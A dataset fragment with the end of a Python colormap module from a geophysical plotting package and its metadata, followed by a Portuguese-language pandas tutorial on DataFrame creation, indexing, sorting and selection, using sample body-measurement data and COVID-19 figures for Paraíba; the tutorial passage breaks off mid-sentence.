make_colormap({0.:'b', 0.5:'w', 1.:'r'})\nred_yellow_blue = make_colormap({0.:'r', 0.5:'#ffff00', 1.:'b'})\nblue_yellow_red = make_colormap({0.:'b', 0.5:'#ffff00', 1.:'r'})\nyellow_red_blue = make_colormap({0.:'#ffff00', 0.5:'r', 1.:'b'})\nwhite_red = make_colormap({0.:'w', 1.:'r'})\nwhite_blue = make_colormap({0.:'w', 1.:'b'})\n\nschlieren_grays = schlieren_colormap('k')\nschlieren_reds = schlieren_colormap('r')\nschlieren_blues = schlieren_colormap('b')\nschlieren_greens = schlieren_colormap('g')\n\n\n#-------------------------------\ndef make_amrcolors(nlevels=4):\n#-------------------------------\n    \"\"\"\n    Make lists of colors useful for distinguishing different grids when \n    plotting AMR results.\n\n    INPUT::\n       nlevels: maximum number of AMR levels expected.\n    OUTPUT::\n       (linecolors, bgcolors) \n       linecolors = list of nlevels colors for grid lines, contour lines\n       bgcolors = list of nlevels pale colors for grid background\n    \"\"\"\n\n    # For 4 or less levels:\n    linecolors = ['k', 'b', 'r', 'g']\n    # Set bgcolors to white, then light shades of blue, red, green:\n    bgcolors = ['#ffffff','#ddddff','#ffdddd','#ddffdd']\n    # Set bgcolors to light shades of yellow, blue, red, green:\n    #bgcolors = ['#ffffdd','#ddddff','#ffdddd','#ddffdd']\n\n    if nlevels > 4:\n        linecolors = 4*linecolors  # now has length 16\n        bgcolors = 4*bgcolors\n    if nlevels <= 16:\n        linecolors = linecolors[:nlevels]\n        bgcolors = bgcolors[:nlevels]\n    else:\n        print \"*** Warning, suggest nlevels <= 16\"\n\n    return (linecolors, bgcolors)\n", "meta": {"hexsha": "9092ff7b2a374840e44acfaae338cb25c44db32c", "size": 4969, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/pyclaw/plotters/colormaps.py", "max_stars_repo_name": "geoflows/geoclaw-4.x", "max_stars_repo_head_hexsha": "c8879d25405017b38392aa3b1ea422ff3e3604ea", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2016-04-26T02:32:09.000Z", "max_stars_repo_stars_event_max_datetime": "2021-02-08T08:43:44.000Z", "max_issues_repo_path": "python/pyclaw/plotters/colormaps.py", "max_issues_repo_name": "che-wenchao/D-Claw", "max_issues_repo_head_hexsha": "8ab5d971c9a7a7130e03a447a4b8642e292f4e88", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python/pyclaw/plotters/colormaps.py", "max_forks_repo_name": "che-wenchao/D-Claw", "max_forks_repo_head_hexsha": "8ab5d971c9a7a7130e03a447a4b8642e292f4e88", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2019-01-17T04:34:08.000Z", "max_forks_repo_forks_event_max_datetime": "2020-08-11T16:02:28.000Z", "avg_line_length": 33.1266666667, "max_line_length": 77, "alphanum_fraction": 0.5942845643, "include": true, "reason": "from numpy", "num_tokens": 1474, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4148988457967688, "lm_q2_score": 0.15405755686555633, "lm_q1q2_score": 0.06391830252978939}}
{"text": "# Opera\u00e7\u00f5es com *DataFrames*\n\nComo dissemos anterioremente, o *DataFrame* \u00e9 a segunda estrutura basilar do *pandas*. Um *DataFrame*:\n- \u00e9 uma tabela, ou seja, \u00e9 bidimensional;\n- tem cada coluna formada como uma *Series* do *pandas*;\n- pode ter *Series* contendo tipos de dado diferentes.\n\nimport numpy as np\nimport pandas as pd\n\n## Cria\u00e7\u00e3o de um *DataFrame*\n\nO m\u00e9todo padr\u00e3o para criarmos um *DataFrame* \u00e9 atrav\u00e9s de uma fun\u00e7\u00e3o com mesmo nome.\n\n```python\ndf_exemplo = pd.DataFrame(dados_de_interesse, index = indice_de_interesse, \n                          columns = colunas_de_interesse)\n```\n\nAo criar um *DataFrame*, podemos informar\n- `index`: r\u00f3tulos para as linhas (atributos *index* das *Series*).\n- `columns`: r\u00f3tulos para as colunas (atributos *name* das *Series*).\n\nNo _template_, `dados_de_interesse` pode ser\n\n* um dicion\u00e1rio de:\n  * *arrays* unidimensionais do *numpy*;\n  * listas;\n  * dicion\u00e1rios;\n  * *Series* do *pandas*.\n* um *array* bidimensional do *numpy*;\n* uma *Series* do *Pandas*;\n* outro *DataFrame*.\n\n### *DataFrame* a partir de dicion\u00e1rios de *Series*\n\nNeste m\u00e9todo de cria\u00e7\u00e3o, as *Series* do dicion\u00e1rio n\u00e3o precisam possuir o mesmo n\u00famero de elementos. O *index* do *DataFrame* ser\u00e1 dado pela **uni\u00e3o** dos *index* de todas as *Series* contidas no dicion\u00e1rio.\n\nExemplo:\n\nserie_Idade = pd.Series({'Ana':20, 'Jo\u00e3o': 19, 'Maria': 21, 'Pedro': 22}, name=\"Idade\")\n\nserie_Peso = pd.Series({'Ana':55, 'Jo\u00e3o': 80, 'Maria': 62, 'Pedro': 67, 'T\u00falio': 73}, name=\"Peso\")\n\nserie_Altura = pd.Series({'Ana':162, 'Jo\u00e3o': 178, 'Maria': 162, 'Pedro': 165, 'T\u00falio': 171}, name=\"Altura\")\n\ndicionario_series_exemplo = {'Idade': serie_Idade, 'Peso': serie_Peso, 'Altura': serie_Altura}\n\ndf_dict_series = pd.DataFrame(dicionario_series_exemplo)\n\ndf_dict_series\n\nCompare este resultado com a cria\u00e7\u00e3o de uma planilha pelos m\u00e9todos usuais. Veja que h\u00e1 muita flexibilidade para criarmos ou modificarmos uma tabela.\n\nVejamos exemplos sobre como acessar intervalos de dados na tabela.\n\npd.DataFrame(dicionario_series_exemplo, index=['Ana','Maria'])\n\npd.DataFrame(dicionario_series_exemplo, index=['Ana','Maria'], columns=['Peso','Altura'])\n\nNeste exemplo, adicionamos a coluna `IMC`, ainda sem valores calculados.\n\npd.DataFrame(dicionario_series_exemplo, index=['Ana','Maria','Paula'], \n             columns=['Peso','Altura','IMC'])\n\ndf_exemplo_IMC = pd.DataFrame(dicionario_series_exemplo, \n             columns=['Peso','Altura','IMC'])\n\nAgora, mostramos como os valores do IMC podem ser calculados diretamente por computa\u00e7\u00e3o vetorizada sobre as *Series*.\n\ndf_exemplo_IMC['IMC']=round(df_exemplo_IMC['Peso']/(df_exemplo_IMC['Altura']/100)**2,2)\n\ndf_exemplo_IMC\n\n### *DataFrame* a partir de dicion\u00e1rios de listas ou *arrays* do *numpy*\n\nNeste m\u00e9todo de cria\u00e7\u00e3o, os *arrays* ou as listas **devem** possuir o mesmo comprimento. Se o *index* n\u00e3o for informado, o *index* ser\u00e1 dado de forma similar ao do objeto tipo *Series*.\n\nExemplo com dicion\u00e1rio de listas:\n\ndicionario_lista_exemplo = {'Idade': [20,19,21,22,20],\n                            'Peso': [55,80,62,67,73],\n                            'Altura': [162,178,162,165,171]}\n\npd.DataFrame(dicionario_lista_exemplo)\n\nMais exemplos:\n\npd.DataFrame(dicionario_lista_exemplo, index=['Ana','Jo\u00e3o','Maria','Pedro','T\u00falio'])\n\nExemplos com dicion\u00e1rio de *arrays* do *numpy*:\n\ndicionario_array_exemplo = {'Idade': np.array([20,19,21,22,20]),\n                            'Peso': np.array([55,80,62,67,73]),\n                            'Altura': np.array([162,178,162,165,171])}\n\npd.DataFrame(dicionario_array_exemplo)\n\nMais exemplos:\n\npd.DataFrame(dicionario_array_exemplo, index=['Ana','Jo\u00e3o','Maria','Pedro','T\u00falio'])\n\n### *DataFrame* a partir de uma *Series* do *pandas*\n\nNeste caso, o *DataFrame* ter\u00e1 o mesmo *index* que a *Series* do *pandas* e apenas uma coluna.\n\nseries_exemplo = pd.Series({'Ana':20, 'Jo\u00e3o': 19, 'Maria': 21, 'Pedro': 22, 'T\u00falio': 20})\n\npd.DataFrame(series_exemplo)\n\nCaso a *Series* possua um atributo `name` especificado, este ser\u00e1 o nome da coluna do *DataFrame*.\n\nseries_exemplo_Idade = pd.Series({'Ana':20, 'Jo\u00e3o': 19, 'Maria': 21, 'Pedro': 22, 'T\u00falio': 20}, name=\"Idade\")\n\npd.DataFrame(series_exemplo_Idade)\n\n### *DataFrame* a partir de lista de *Series* do *pandas*\n\nNeste caso, a entrada dos dados da lista no *DataFrame* ser\u00e1 feita por linha.\n\npd.DataFrame([serie_Peso, serie_Altura, serie_Idade])\n\nPodemos corrigir a orienta\u00e7\u00e3o usando o m\u00e9todo `transpose`.\n\npd.DataFrame([serie_Peso, serie_Altura, serie_Idade]).transpose()\n\n### *DataFrame* a partir de arquivos\n\nPara criar um *DataFrame* a partir de um arquivo, precisamos de fun\u00e7\u00f5es do tipo `pd.read_FORMATO`, onde `FORMATO` indica o formato a ser importado sob o pressuposto de que a biblioteca *pandas* foi devidamente importada com `pd`.\n\nOs formatos mais comuns s\u00e3o: \n\n* *csv* (comma-separated values), \n* *xls* ou *xlsx* (formatos do Microsoft Excel),\n* *hdf5* (comumente utilizado em *big data*), \n* *json* (comumente utilizado em p\u00e1ginas da internet).\n\nAs fun\u00e7\u00f5es para leitura correspondentes s\u00e3o: \n* `pd.read_csv`, \n* `pd.read_excel`, \n* `pd.read_hdf`, \n* `pd.read_json`, \n\nrespectivamente.\n\nDe todas elas, a fun\u00e7\u00e3o mais utilizada \u00e9 `read_csv`. Ela possui v\u00e1rios argumentos. Vejamos os mais utilizados:\n\n* `file_path_or_buffer`: o endere\u00e7o do arquivo a ser lido. Pode ser um endere\u00e7o da internet.\n* `sep`: o separador entre as entradas de dados. O separador padr\u00e3o \u00e9 `,`.\n* `index_col`: a coluna que deve ser usada para formar o *index*. O padr\u00e3o \u00e9 `None`. Por\u00e9m pode ser alterado para outro. Um separador comumente encontrado \u00e9 o `\\t` (TAB).\n* `names`: nomes das colunas a serem usadas. O padr\u00e3o \u00e9 `None`.\n* `header`: n\u00famero da linha que servir\u00e1 como nome para as colunas. O padr\u00e3o \u00e9 `infer` (ou seja, tenta deduzir automaticamente). Se os nomes das colunas forem passados atrav\u00e9s do `names`, ent\u00e3o `header` ser\u00e1 automaticamente considerado como `None`.  \n\n**Exemplo:** considere o arquivo `data/exemplo_data.csv` contendo:\n\n```\n,coluna_1,coluna_2\n2020-01-01,-0.4160923582996922,1.8103644347460834\n2020-01-02,-0.1379696602473578,2.5785204825192785\n2020-01-03,0.5758273450544708,0.06086648807755068\n2020-01-04,-0.017367186564883633,1.2995865328684455\n2020-01-05,1.3842792448510655,-0.3817320973859929\n2020-01-06,0.5497056238566345,-1.308789022968975\n2020-01-07,-0.2822962331437976,-1.6889791765925102\n2020-01-08,-0.9897300598660013,-0.028120707936426497\n2020-01-09,0.27558240737928663,-0.1776585993494299\n2020-01-10,0.6851316082235455,0.5025348904591399\n``` \n\nPara ler o arquivo acima basta fazer:\n\ndf_exemplo_0 = pd.read_csv('data/exemplo_data.csv')\n\ndf_exemplo_0\n\nNo exemplo anterior, as colunas receberam nomes corretamentes exceto pela primeira coluna que gostar\u00edamos de considerar como *index*. Neste caso fazemos:\n\ndf_exemplo = pd.read_csv('data/exemplo_data.csv', index_col=0)\n\ndf_exemplo\n\n#### O m\u00e9todo *head* do *DataFrame*\n\nO m\u00e9todo `head`, sem argumento, permite que visualizemos as 5 primeiras linhas do *DataFrame*.\n\ndf_exemplo.head()\n\nSe for passado um argumento com valor `n`, as `n` primeiras linhas s\u00e3o impressas.\n\ndf_exemplo.head(2)\n\ndf_exemplo.head(7)\n\n#### O m\u00e9todo `tail` do *DataFrame*\n\nO m\u00e9todo `tail`, sem argumento, retorna as \u00faltimas 5 linhas do *DataFrame*.\n\ndf_exemplo.tail()\n\nSe for passado um argumento com valor `n`, as `n` \u00faltimas linhas s\u00e3o impressas.\n\ndf_exemplo.tail(2)\n\ndf_exemplo.tail(7)\n\n## Atributos de *Series* e *DataFrames*\n\nAtributos comumente usados para *Series* e *DataFrames* s\u00e3o:\n\n* `shape`: fornece as dimens\u00f5es do objeto em quest\u00e3o (*Series* ou *DataFrame*) em formato consistente com o atributo `shape` de um *array* do *numpy*.\n* `index`: fornece o \u00edndice do objeto. No caso do *DataFrame* s\u00e3o os r\u00f3tulos das linhas.\n* `columns`: fornece as colunas (apenas dispon\u00edvel para *DataFrames*) \n\nExemplo:\n\ndf_exemplo.shape\n\nserie_1 = pd.Series([1,2,3,4,5])\n\nserie_1.shape\n\ndf_exemplo.index\n\nserie_1.index\n\ndf_exemplo.columns\n\nSe quisermos obter os dados contidos nos *index* ou nas *Series* podemos utilizar a propriedade `.array`.\n\nserie_1.index.array\n\ndf_exemplo.columns.array\n\nSe o interesse for obter os dados como um `array` do *numpy*, devemos utilizar o m\u00e9todo `.to_numpy()`.\n\nExemplo:\n\nserie_1.index.to_numpy()\n\ndf_exemplo.columns.to_numpy()\n\nO m\u00e9todo `.to_numpy()` tamb\u00e9m est\u00e1 dispon\u00edvel em *DataFrames*:\n\ndf_exemplo.to_numpy()\n\nA fun\u00e7\u00e3o do *numpy* `asarray()` \u00e9 compat\u00edvel com *index*, *columns* e *DataFrames* do *pandas*:\n\nnp.asarray(df_exemplo.index)\n\nnp.asarray(df_exemplo.columns)\n\nnp.asarray(df_exemplo)\n\n### Informa\u00e7\u00f5es sobre as colunas de um *DataFrame*\n\nPara obtermos uma breve descri\u00e7\u00e3o sobre as colunas de um *DataFrame* utilizamos o m\u00e9todo `info`.\n\nExemplo:\n\ndf_exemplo.info()\n\n## Criando arquivos a partir de *DataFrames*\n\nPara criar arquivos a partir de *DataFrames*, basta utilizar os m\u00e9todos do tipo `pd.to_FORMATO`, onde `FORMATO` indica o formato a ser exportado e supondo que a biblioteca *pandas* foi importada com `pd`.\n\nCom rela\u00e7\u00e3o aos tipos de arquivo anteriores, os m\u00e9todos para exporta\u00e7\u00e3o correspondentes s\u00e3o:\n* `.to_csv` ('endere\u00e7o_do_arquivo'), \n* `.to_excel` ('endere\u00e7o_do_arquivo'), \n* `.to_hdf` ('endere\u00e7o_do_arquivo'), \n* `.to_json`('endere\u00e7o_do_arquivo'), \n\nonde `endere\u00e7o_do_arquivo` \u00e9 uma `str` que cont\u00e9m o endere\u00e7o do arquivo a ser exportado.\n\nExemplo:\n    \nPara exportar para o arquivo `exemplo_novo.csv`, utilizaremos o m\u00e9todo `.to_csv` ao *DataFrame* `df_exemplo`:\n\ndf_exemplo.to_csv('data/exemplo_novo.csv')\n\n### Exemplo COVID-19 PB\n\nDados di\u00e1rios de COVID-19 do estado da Para\u00edba:\n\n*Fonte: https://superset.plataformatarget.com.br/superset/dashboard/microdados/*\n\ndados_covid_PB = pd.read_csv('https://superset.plataformatarget.com.br/superset/explore_json/?form_data=%7B%22slice_id%22%3A1550%7D&csv=true', \n                             sep=',', index_col=0)\n\ndados_covid_PB.info()\n\ndados_covid_PB.head()\n\ndados_covid_PB.tail()\n\ndados_covid_PB['estado'] = 'PB'\n\ndados_covid_PB.head()\n\ndados_covid_PB.to_csv('data/dadoscovidpb.csv')\n\n### \u00cdndices dos valores m\u00e1ximos ou m\u00ednimos\n\nOs m\u00e9todos `idxmin()` e `idxmax()` retornam o *index* cuja entrada fornece o valor m\u00ednimo ou m\u00e1ximo da *Series* ou *DataFrame*. Se houver m\u00faltiplas ocorr\u00eancias de m\u00ednimos ou m\u00e1ximos, o m\u00e9todo retorna a primeira ocorr\u00eancia.\n\nVamos recriar um *DataFrame* gen\u00e9rico.\n\nserie_Idade = pd.Series({'Ana':20, 'Jo\u00e3o': 19, 'Maria': 21, 'Pedro': 22, 'T\u00falio': 20}, name=\"Idade\")\nserie_Peso = pd.Series({'Ana':55, 'Jo\u00e3o': 80, 'Maria': 62, 'Pedro': 67, 'T\u00falio': 73}, name=\"Peso\")\nserie_Altura = pd.Series({'Ana':162, 'Jo\u00e3o': 178, 'Maria': 162, 'Pedro': 165, 'T\u00falio': 171}, name=\"Altura\")\n\ndicionario_series_exemplo = {'Idade': serie_Idade, 'Peso': serie_Peso, 'Altura': serie_Altura}\n\ndf_dict_series = pd.DataFrame(dicionario_series_exemplo)\n\ndf_dict_series\n\nAssim, podemos localizar quem possui menores idade, peso e altura.\n\ndf_dict_series.idxmin()\n\nDe igual forma, localizamos quem possui maiores idade, peso e altura.\n\ndf_dict_series.idxmax()\n\n**Exemplo:** Aplicaremos as fun\u00e7\u00f5es `idxmin()` e `idxmax()` aos dados do arquivo `data/exemplo_data.csv` para localizar entradas de interesse.\n\ndf_exemplo = pd.read_csv('data/exemplo_data.csv', index_col=0); df_exemplo\n\ndf_exemplo = pd.DataFrame(df_exemplo, columns=['coluna_1','coluna_2','coluna_3'])\n\nInserimos uma terceira coluna com dados fict\u00edcios.\n\ndf_exemplo['coluna_3'] = pd.Series([1,2,3,4,5,6,7,8,np.nan,np.nan],index=df_exemplo.index)\ndf_exemplo\n\nOs *index* correspondentes aos menores e maiores valores s\u00e3o datas, evidentemente.\n\ndf_exemplo.idxmin()\n\ndf_exemplo.idxmax()\n\n### Reindexa\u00e7\u00e3o de *DataFrames*\n\nNo *pandas*, o m\u00e9todo `reindex`\n\n* reordena o *DataFrame* de acordo com o conjunto de r\u00f3tulos inserido como argumento;\n* insere valores faltantes caso um r\u00f3tulo do novo *index* n\u00e3o tenha valor atribu\u00eddo no conjunto de dados;\n* remove valores correspondentes a r\u00f3tulos que n\u00e3o est\u00e3o presentes no novo *index*.\n\nExemplos:\n\ndf_dict_series.reindex(index=['Victor', 'T\u00falio', 'Pedro', 'Jo\u00e3o'], columns=['Altura','Peso','IMC'])\n\n## Remo\u00e7\u00e3o de linhas ou colunas de um *DataFrame*\n\nPara remover linhas ou colunas de um *DataFrame* do *pandas* podemos utilizar o m\u00e9todo `drop`. O argumento `axis` identifica o eixo de remo\u00e7\u00e3o: `axis=0`, que \u00e9 o padr\u00e3o, indica a remo\u00e7\u00e3o de uma ou mais linhas; `axis=1` indica a remo\u00e7\u00e3o de uma ou mais colunas.\n\nNos exemplos que segue, note que novos *DataFrames* s\u00e3o obtidos a partir de `df_dict_series` sem que este seja sobrescrito.\n\ndf_dict_series.drop('T\u00falio') # axis=0 impl\u00edcito \n\ndf_dict_series.drop(['Ana','Maria'], axis=0)\n\ndf_dict_series.drop(['Idade'], axis=1)\n\n### Renomeando *index* e *columns*\n\nO m\u00e9todo `rename` retorna uma c\u00f3pia na qual o *index* (no caso de *Series* e *DataFrames*) e *columns* (no caso de *DataFrames*) foram renomeados. O m\u00e9todo aceita como entrada um dicion\u00e1rio, uma *Series* do *pandas* ou uma fun\u00e7\u00e3o.\n\nExemplo:\n\nserie_exemplo = pd.Series([1,2,3], index=['a','b','c'])\n\nserie_exemplo\n\nserie_exemplo.rename({'a':'abacaxi', 'b':'banana', 'c': 'cebola'})\n\nExemplo:\n\ndf_dict_series\n\ndf_dict_series.rename(index = {'Ana':'a', 'Jo\u00e3o':'j', 'Maria':'m', 'Pedro':'p','T\u00falio':'t'},\n                     columns = {'Idade':'I', 'Peso':'P','Altura':'A'})\n\nNo pr\u00f3ximo exemplo, usamos uma *Series* para renomear os r\u00f3tulos.\n\nindice_novo = pd.Series({'Ana':'a', 'Jo\u00e3o':'j', 'Maria':'m', 'Pedro':'p','T\u00falio':'t'})\n\ndf_dict_series.rename(index = indice_novo)\n\nNeste exemplo, usamos a fun\u00e7\u00e3o `str.upper` (altera a `str` para \"todas mai\u00fasculas\") para renomear colunas.\n\ndf_dict_series.rename(columns=str.upper)\n\n## Ordena\u00e7\u00e3o de *Series* e *DataFrames*\n\n\u00c9 poss\u00edvel ordenar ambos pelos r\u00f3tulos do *index* (para tanto \u00e9 necess\u00e1rio que eles sejam orden\u00e1veis) ou por valores nas colunas. \n\nO m\u00e9todo `sort_index` ordena a *Series* ou o *DataFrame* pelo *index*. O m\u00e9todo `sort_values` ordena a *Series* ou o *DataFrame* pelos valores (escolhendo uma ou mais colunas no caso de *DataFrames*). No caso do *DataFrame*, o argumento `by` \u00e9 necess\u00e1rio para indicar qual(is) coluna(s) ser\u00e1(\u00e3o) utilizada(s) como base para a ordena\u00e7\u00e3o.\n\nExemplos:\n\nserie_desordenada = pd.Series({'Maria': 21, 'Pedro': 22, 'T\u00falio': 20, 'Jo\u00e3o': 19, 'Ana':20}); \nserie_desordenada\n\nserie_desordenada.sort_index() # ordena\u00e7\u00e3o alfab\u00e9tica\n\nMais exemplos:\n\ndf_desordenado = df_dict_series.reindex(index=['Pedro','Maria','Ana','T\u00falio','Jo\u00e3o'])\n\ndf_desordenado\n\ndf_desordenado.sort_index()\n\nMais exemplos:\n\nserie_desordenada.sort_values()\n\ndf_desordenado.sort_values(by=['Altura']) # ordena por 'Altura'\n\nNo caso de \"empate\", podemos utilizar outra coluna para desempatar.\n\ndf_desordenado.sort_values(by=['Altura','Peso']) # usa a coluna 'Peso' para desempatar\n\nOs m\u00e9todos `sort_index` e `sort_values` admitem o argumento opcional `ascending`, que permite inverter a ordena\u00e7\u00e3o caso tenha valor `False`.\n\ndf_desordenado.sort_index(ascending=False)\n\ndf_desordenado.sort_values(by=['Idade'], ascending=False)\n\n## Compara\u00e7\u00e3o de *Series* e *DataFrames*\n\n*Series* e *DataFrames* possuem os seguintes m\u00e9todos de compara\u00e7\u00e3o l\u00f3gica: \n\n- `eq` (igual);\n- `ne` (diferente);\n- `lt` (menor do que);\n- `gt` (maior do que);\n- `le` (menor ou igual a); \n- `ge` (maior ou igual a)\n\nque permitem a utiliza\u00e7\u00e3o dos operadores bin\u00e1rios `==`, `!=`, `<`, `>`, `<=` e `>=`, respectivamente. As compara\u00e7\u00f5es s\u00e3o realizadas em cada entrada da *Series* ou do *DataFrame*.\n\n**Observa\u00e7\u00e3o**: Para que esses m\u00e9todos sejam aplicados, todos os objetos presentes nas colunas do *DataFrame* devem ser de mesma natureza. Por exemplo, se um *DataFrame* possui algumas colunas num\u00e9ricas e outras com *strings*, ao realizar uma compara\u00e7\u00e3o do tipo `> 1`, um erro ocorrer\u00e1, pois o *pandas* tentar\u00e1 comparar objetos do tipo `int` com objetos do tipo `str`, assim gerando uma incompatibilidade.\n\nExemplos:\n\nserie_exemplo\n\nserie_exemplo == 2\n\nDe outra forma:\n\nserie_exemplo.eq(2)\n\nserie_exemplo > 1\n\nOu, na forma funcional:\n\nserie_exemplo.gt(1)\n\ndf_exemplo > 1\n\n**Importante:** Ao comparar *np.nan*, o resultado tipicamente \u00e9 falso:\n\nnp.nan == np.nan\n\nnp.nan > np.nan\n\nnp.nan >= np.nan\n\nS\u00f3 \u00e9 verdadeiro para indicar que \u00e9 diferente:\n\nnp.nan != np.nan\n\nNeste sentido, podemos ter tabelas iguais sem que a compara\u00e7\u00e3o usual funcione:\n\n# 'copy', como o nome sugere, gera uma c\u00f3pia do DataFrame\ndf_exemplo_2 = df_exemplo.copy() \n\n(df_exemplo == df_exemplo_2)\n\nO motivo de haver entradas como `False` ainda que `df_exemplo_2` seja uma c\u00f3pia exata de `df_exemplo` \u00e9 a presen\u00e7a do `np.nan`. Neste caso, devemos utilizar o m\u00e9todo `equals` para realizar a compara\u00e7\u00e3o.\n\ndf_exemplo.equals(df_exemplo_2)\n\n## Os m\u00e9todos `any`, `all` e a propriedade `empty`\n\nO m\u00e9todo `any` \u00e9 aplicado a entradas booleanas (verdadeiras ou falsas) e retorna *verdadeiro* se existir alguma entrada verdadeira, ou *falso*, se todas forem falsas. O m\u00e9todo `all` \u00e9 aplicado a entradas booleanas e retorna *verdadeiro* se todas as entradas forem verdadeiras, ou *falso*,  se houver pelo menos uma entrada falsa. A propriedade `empty` retorna *verdadeiro* se a *Series* ou o *DataFrame* estiver vazio, ou *falso* caso contr\u00e1rio.\n\nExemplos:\n\nserie_exemplo\n\nserie_exemplo_2 = serie_exemplo-2; \nserie_exemplo_2\n\n(serie_exemplo_2 > 0).any()\n\n(serie_exemplo > 1).all()\n\nEste exemplo reproduz um valor `False` \u00fanico.\n\n(df_exemplo == df_exemplo_2).all().all()\n\nserie_exemplo.empty\n\nMais exemplos:\n\n(df_exemplo == df_exemplo_2).any()\n\ndf_exemplo.empty\n\ndf_vazio = pd.DataFrame()\n\ndf_vazio.empty\n\n## Sele\u00e7\u00e3o de colunas de um *DataFrame*\n\nPara selecionar colunas de um *DataFrame*, basta aplicar *colchetes* a uma lista contendo os nomes das colunas de interesse.\n\nNo exemplo abaixo, temos um *DataFrame* contendo as colunas `'Idade'`, `'Peso'` e `'Altura'`. Selecionaremos `'Peso'` e `'Altura'`, apenas.\n\ndf_dict_series[['Peso','Altura']]\n\nSe quisermos selecionar apenas uma coluna, n\u00e3o h\u00e1 necessidade de inserir uma lista. Basta utilizar o nome da coluna:\n\ndf_dict_series['Peso']\n\nPara remover colunas, podemos utilizar o m\u00e9todo `drop`.\n\ndf_dict_series.drop(['Peso','Altura'], axis=1)\n\n### Cria\u00e7\u00e3o de novas colunas a partir de colunas existentes\n\nUm m\u00e9todo eficiente para criar novas colunas a partir de colunas j\u00e1 existentes \u00e9 `eval`. Neste m\u00e9todo, podemos utilizar como argumento uma *string* contendo uma express\u00e3o matem\u00e1tica envolvendo nomes de colunas do *DataFrame*.\n\nComo exemplo, vamos ver como calcular o IMC no *DataFrame* anterior:\n\ndf_dict_series.eval('Peso/(Altura/100)**2')\n\nSe quisermos obter um *DataFrame* contendo o IMC como uma nova coluna, podemos utilizar o m\u00e9todo `assign` (sem modificar o *DataFrame* original):\n\ndf_dict_series.assign(IMC=round(df_dict_series.eval('Peso/(Altura/100)**2'),2))\n\ndf_dict_series # n\u00e3o modificado\n\nSe quisermos modificar o *DataFrame* para incluir a coluna IMC fazemos:\n\ndf_dict_series['IMC']=round(df_dict_series.eval('Peso/(Altura/100)**2'),2)\n\ndf_dict_series # modificado \"in-place\"\n\n## Sele\u00e7\u00e3o de linhas de um *DataFrame*\n\nPodemos selecionar linhas de um *DataFrame* de diversas formas diferentes. Veremos agora algumas dessas formas.\n\nDiferentemente da forma de selecionar colunas, para selecionar diretamente linhas de um *DataFrame* devemos utilizar o m\u00e9todo `loc` (fornecendo o *index*, isto \u00e9, o r\u00f3tulo da linha) ou o `iloc` (fornecendo a posi\u00e7\u00e3o da linha):\n\nTrabalharemos a seguir com um banco de dados atualizado sobre a COVID-19. Para tanto, importaremos o m\u00f3dulo `datetime` que nos auxiliar\u00e1 com datas.\n\nimport datetime\n\ndados_covid_PB = pd.read_csv('https://superset.plataformatarget.com.br/superset/explore_json/?form_data=%7B%22slice_id%22%3A1550%7D&csv=true', \n                             sep=',', index_col=0)\n\n# busca o banco na data D-1, visto que a atualiza\u00e7\u00e3o\n# ocorre em D\nontem = (datetime.date.today() - datetime.timedelta(days=1)).strftime('%Y-%m-%d') \n\ndados_covid_PB.head(1)\n\nPodemos ver as informa\u00e7\u00f5es de um \u00fanico dia como argumento. Para tanto, exclu\u00edmos a coluna `'Letalidade'` (valor n\u00e3o inteiro) e convertemos o restante para valores inteiros:\n\ndados_covid_PB.loc[ontem].drop('Letalidade').astype('int')\n\nPodemos selecionar um intervalo de datas como argumento (excluindo letalidade):\n\ndados_covid_PB.index = pd.to_datetime(dados_covid_PB.index) # Convertendo o index de string para data\ndados_covid_PB.loc[pd.date_range('2021-02-01',periods=5,freq=\"D\")].drop('Letalidade',axis=1) \n                #fun\u00e7\u00e3o pd.date_range \u00e9 muito \u00fatil para criar \u00edndices a partir de datas.\n\nPodemos colocar uma lista como argumento:\n\ndados_covid_PB.loc[pd.to_datetime(['2021-01-01','2021-02-01'])]\n\nVamos agora examinar os dados da posi\u00e7\u00e3o 100 (novamente excluindo a coluna letalidade e convertendo para inteiro):\n\ndados_covid_PB.iloc[100].drop('Letalidade').astype('int')\n\nPodemos colocar um intervalo como argumento:\n\ndados_covid_PB.iloc[50:55].drop('Letalidade', axis=1).astype('int') \n\n### Sele\u00e7\u00e3o de colunas com `loc` e `iloc`\n\nPodemos selecionar colunas utilizando os m\u00e9todos `loc` e `iloc` utilizando um argumento adicional.\n\ndados_covid_PB.loc[:,['casosNovos','obitosNovos']]\n\ndados_covid_PB.iloc[:,4:6] # fatiamento na coluna\n\n### Sele\u00e7\u00e3o de linhas e colunas espec\u00edficas com `loc` e `iloc`\n\nUsando o mesmo princ\u00edpio de *fatiamento* aplicado a *arrays* do numpy, podemos selecionar linhas e colunas em um intervalo espec\u00edfico de forma a obter uma subtabela.\n\ndados_covid_PB.iloc[95:100,4:6]\n\nNeste exemplo um pouco mais complexo, buscamos casos novos e \u00f3bitos novos em um per\u00edodo espec\u00edfico e ordenamos a tabela da data mais recente para a mais antiga.\n\ndados_covid_PB.loc[pd.date_range('2020-04-06','2020-04-10'),['casosNovos','obitosNovos']].sort_index(ascending=False)\n\nSuponha que o peso de Ana foi medido corretamente, mas registrado de maneira err\u00f4nea no *DataFrame* `df_dict_series` como 55.\n\ndf_dict_series\n\nSupondo que, na realidade, o valor \u00e9 65, alteramos a entrada espec\u00edfica com um simples `loc`. Em seguida, atualizamos a tabela.\n\ndf_dict_series.loc['Ana','Peso'] = 65\n\ndf_dict_series = df_dict_series.assign(IMC=round(df_dict_series.eval('Peso/(Altura/100)**2'),2)) # O IMC mudou\n\ndf_dict_series\n\n### Sele\u00e7\u00e3o de linhas atrav\u00e9s de crit\u00e9rios l\u00f3gicos ou fun\u00e7\u00f5es\n\nVamos selecionar quais os dias em que houve mais de 40 mortes registradas:\n\ndados_covid_PB.loc[dados_covid_PB['obitosNovos']>40]\n\nSelecionando os dias com mais de 25 \u00f3bitos e mais de 1500 casos novos:\n\ndados_covid_PB.loc[(dados_covid_PB.obitosNovos > 25) & (dados_covid_PB.casosNovos>1500)]\n\n**Obs**.: Note que podemos utilizar o nome da coluna como um atributo.\n\nVamos inserir uma coluna sobrenome no 